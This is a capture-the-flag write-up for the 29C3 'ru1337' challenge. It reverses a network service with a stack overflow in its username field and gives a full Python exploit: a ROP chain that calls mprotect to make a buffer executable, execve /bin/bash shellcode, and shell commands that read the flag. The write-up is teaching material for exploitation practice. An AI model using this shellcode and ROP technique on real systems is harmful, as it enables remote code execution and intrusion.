Description
Are you 31337? Get your credentials checked here 94.45.252.242:1024
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password
User: aXs
Password: toto
u r not s0 1337zz!!!
After some work in your favorite debugger, we can work with the reversing of our little binary:
{
char *buffer; // eax@1
char password[128]; // [sp+24h] [bp-94h]@1
char username[8]; // [sp+A4h] [bp-14h]@1
int i; // [sp+ACh] [bp-Ch]@2
memset(username, 0, 8u);
memset(password, 0, 8u);
buffer = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0);
mmap_buffer = buffer;
if ( buffer != (char *)-1 )
{
send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
recv(fd, username, 0x2Cu, 0);
for ( i = 0; i <= 7 && username[i] && username[i] != 10; ++i )
{
if ( !((*__ctype_b_loc())[username[i]] & 0x400) )
{
close(fd);
exit(0);
}
}
send(fd, "Password: ", 0xAu, 0);
recv(fd, password, 0x80u, 0);
strcpy(mmap_buffer, username);
strcpy(mmap_buffer + 8, password);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
}
}
Steps:
– mmap a buffer at fixed address 0xbadc0de with RW permissions (0xbadc0de will be aligned to 0xbadc000)
– Read username, length 44 <- username is allocated 8 bytes on the stack: buffer overflow possible
- Check first 8 characters of username are alphabetic
- Read password, length 128
- Concat username and password into the mmap-ed buffer
- dup2 the socket descriptor to stdin/stdout/stderr (make it even easier)
Some words about __ctype_b_loc():
The __ctype_b_loc() function shall return a pointer into an array of characters in the current locale that contains characteristics for each character in the current character set. The array shall contain a total of 384 characters, and can be indexed with any signed or unsigned char (i.e. with an index value between -128 and 255).
We are checking against flag 0x400: this is simply the isalpha() macro
Our strategy:
– Overflow username to control RET address
– Use the nice mprotect sequence in the binary to pivot the stack
– ROP chain to mprotect the mmap-ed buffer to RWX permissions
– End ROP chain with jump to shellcode, will spawn /bin/bash
– Send commands to bash to list directory and display flag file
from struct import pack,unpack
import time
shellcode = "\x89\xec" # restore sane esp with mov esp, ebp
# execve /bin/bash -p
shellcode += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52" \
"\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" \
"\x51\x53\x89\xe1\xcd\x80"
host = '94.45.252.242'
port = 1024
mprotect_call = 0x080487D9
mprotect_setup = 0x080487BC
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login = 'A' * 20
rop = pack('<I', 0x0badc000 + 8) # restore ebp
rop += pack('<I', mprotect_setup) # stack pivot
rop += pack('<I', mprotect_call)
rop += pack('<I', 0xbadc000) # needs to be aligned
rop += pack("<I", 0xff) # size_t len
rop += pack("<I", 0x07) # RWX
buffer = login + rop
s.send(buffer)
rop = pack('<I', 0xbadc0ff) # restore ebp, will be used for esp later
rop += pack('<I', 0xbadc010) # eip with shellcode
rop += "\x90" * 4
rop += shellcode
s.send(rop + "\n")
time.sleep(1)
s.send("\n/bin/ls -la\ncat flag\n")
while True:
data = s.recv(1024)
if data:
print repr(data)
else:
break
Output:
'ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: Password: '
'total 24\ndrwxr-xr-x 2 root root 4096 Dec 20 21:49 .\ndrwxr-xr-x 3 root root 4096 Dec 19 20:31 ..\n-r--r--r-- 1 root root 38 Dec 20 21:49 flag\n-r-xr-xr-x 1 root root 9776 Dec 26 01:42 ru1337\n'
'29C3_d4689608484bc61ec4d47d71ba0a933f\n'